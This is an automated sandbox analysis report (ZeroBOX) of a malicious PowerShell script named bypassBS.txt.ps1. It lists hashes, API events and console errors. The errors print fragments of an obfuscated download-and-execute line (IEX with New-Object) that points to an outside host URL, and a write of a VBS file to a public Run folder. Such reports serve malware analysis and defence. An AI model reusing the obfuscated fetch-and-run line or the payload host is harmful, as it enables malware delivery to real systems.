Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Oct. 2, 2021, 5:09 p.m.	Oct. 2, 2021, 5:13 p.m.

Size	39.1KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`8a48841ba0eaab6ba03a71bb9aa7c0e3`
SHA256	`8ce72ef22b3162a2aadd6d11ed1bcc28005583ef15d9476745cf6b58595e868c`
CRC32	`F36BB1F7`
ssdeep	`192:IWAmV4Y8fE5wKOU9WP4N6Mp4+OuPAw8q/SIQIA7Zc:IWAmVSfECUCMEPp7Zc`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\bypassBS.txt.ps1
1896

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Command line console output was observed (23 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: Invoke-Expression : Unexpected token '(' in expression or statement. console_handle: 0x0000001f	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\bypassBS.txt.ps1:4 char:18 console_handle: 0x0000002b	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + Invoke-Expression <<<< $cc console_handle: 0x00000037	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + CategoryInfo : ParserError: ((:String) [Invoke-Expression], Par console_handle: 0x00000043	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: seException console_handle: 0x0000004f	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + FullyQualifiedErrorId : UnexpectedToken,Microsoft.PowerShell.Commands.In console_handle: 0x0000005b	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: vokeExpressionCommand console_handle: 0x00000067	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: Set-Content : Could not find a part of the path 'C:\Users\Public\Run\New.vbs'. console_handle: 0x00000087	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: At C:\Users\test22\AppData\Local\Temp\bypassBS.txt.ps1:42 char:12 console_handle: 0x00000093	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + Set-Content <<<< -Path C:\Users\Public\Run\New.vbs -Value $Content console_handle: 0x0000009f	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + CategoryInfo : ObjectNotFound: (C:\Users\Public\Run\New.vbs:Str console_handle: 0x000000ab	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: ing) [Set-Content], DirectoryNotFoundException console_handle: 0x000000b7	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + FullyQualifiedErrorId : GetContentWriterDirectoryNotFoundError,Microsoft console_handle: 0x000000c3	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: .PowerShell.Commands.SetContentCommand console_handle: 0x000000cf	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: Invoke-Expression : A positional parameter cannot be found that accepts argumen console_handle: 0x00000023	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: t 'http://3.112.173.17/ServerBS.txt'. console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: At line:1 char:5 console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + I`EX <<<< (n`e`W`-Obj`E`c`T $EDRFGHNJMKDEFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCF console_handle: 0x00000047	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: VGBHNJSDFGH) console_handle: 0x00000053	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + CategoryInfo : InvalidArgument: (:) [Invoke-Expression], Parame console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: terBindingException console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell console_handle: 0x00000077	1	1
WriteConsoleW Oct. 2, 2021, 5:09 p.m.	buffer: .Commands.InvokeExpressionCommand console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (13 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 2, 2021, 5:09 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x04ccee10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 2, 2021, 5:09 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (31 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x023bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0240f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02399000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 393216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e00000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e25000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e13000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e15000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05281000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e16000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e17000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0239d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e26000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e27000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 69632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e2b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e3c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 2, 2021, 5:09 p.m.	process_identifier: 1896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05e3d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

bypassBS.txt.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All